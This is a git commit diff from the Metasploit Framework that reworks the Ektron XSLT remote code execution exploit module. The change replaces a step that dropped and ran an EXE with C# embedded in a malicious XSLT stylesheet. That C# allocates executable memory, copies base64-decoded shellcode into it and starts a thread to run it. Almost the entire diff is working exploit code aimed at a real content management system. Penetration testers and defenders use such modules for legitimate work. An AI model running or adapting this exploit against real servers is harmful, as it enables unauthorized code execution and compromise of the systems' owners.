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metasploit-framework
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Merge branch 'ektron_xslt_exec_nicob' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-ektron_xslt_exec_nicob

bug/bundler_fix
sinn3r 2012-12-11 12:40:45 -06:00
parent 461f057c95 2eb4de815d
commit ceb6f81165
1 changed files with 22 additions and 51 deletions
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71
modules/exploits/windows/http/ektron_xslt_exec.rb
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@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
@ -27,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Author' => [
'Rich Lundeen', # Vulnerability discovery
'juan vazquez' # Metasploit module
'juan vazquez', # Metasploit module
'Nicolas "Nicob" Gregoire' # C# code using VirtualAlloc + copy shellcode + CreateThread
],
'License' => MSF_LICENSE,
'References' =>
@ -102,35 +102,6 @@ return "#{fingerprint}";
return Exploit::CheckCode::Safe
end
def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
begin
windir = session.fs.file.expand_path("%WINDIR%")
win_file = "#{windir}\\Temp\\#{win_file}"
# Meterpreter should do this automatically as part of
# fs.file.rm(). Until that has been implemented, remove the
# read-only flag with a command.
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
session.fs.file.rm(win_file)
print_good("Deleted #{file}")
true
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to delete #{win_file}")
false
end
end
end
end
def uri_path
uri_path = target_uri.path
uri_path << "/" if uri_path[-1, 1] != "/"
@ -154,10 +125,8 @@ return "#{fingerprint}";
def exploit
print_status("Generating the EXE Payload and the XSLT...")
exe_data = generate_payload_exe
exe_string = Rex::Text.to_hex(exe_data)
exename = rand_text_alpha(5 + rand(5))
fingerprint = rand_text_alpha(5 + rand(5))
xslt_data = <<-XSLT
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
@ -166,23 +135,26 @@ xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
public string xml()
{
char[] charData = "#{exe_string}".ToCharArray();
string fileName = @"C:\\windows\\temp\\#{exename}.txt";
System.IO.FileStream fs = new System.IO.FileStream(fileName, System.IO.FileMode.Create);
System.IO.BinaryWriter bw = new System.IO.BinaryWriter(fs);
for (int i = 0; i < charData.Length; i++)
{
bw.Write( (byte) charData[i]);
}
bw.Close();
fs.Close();
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.FileName = @"C:\\windows\\temp\\#{exename}.txt";
p.Start();
string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
byte[] shellcode = System.Convert.FromBase64String(shellcode64);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
IntPtr pinfo = IntPtr.Zero;
UInt32 threadId = 0;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
return "#{fingerprint}";
}
]]>
@ -210,7 +182,6 @@ return "#{fingerprint}";
})
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
print_good("Exploitation was successful")
register_file_for_cleanup("#{exename}.txt")
else
fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the xslt transformation request")
end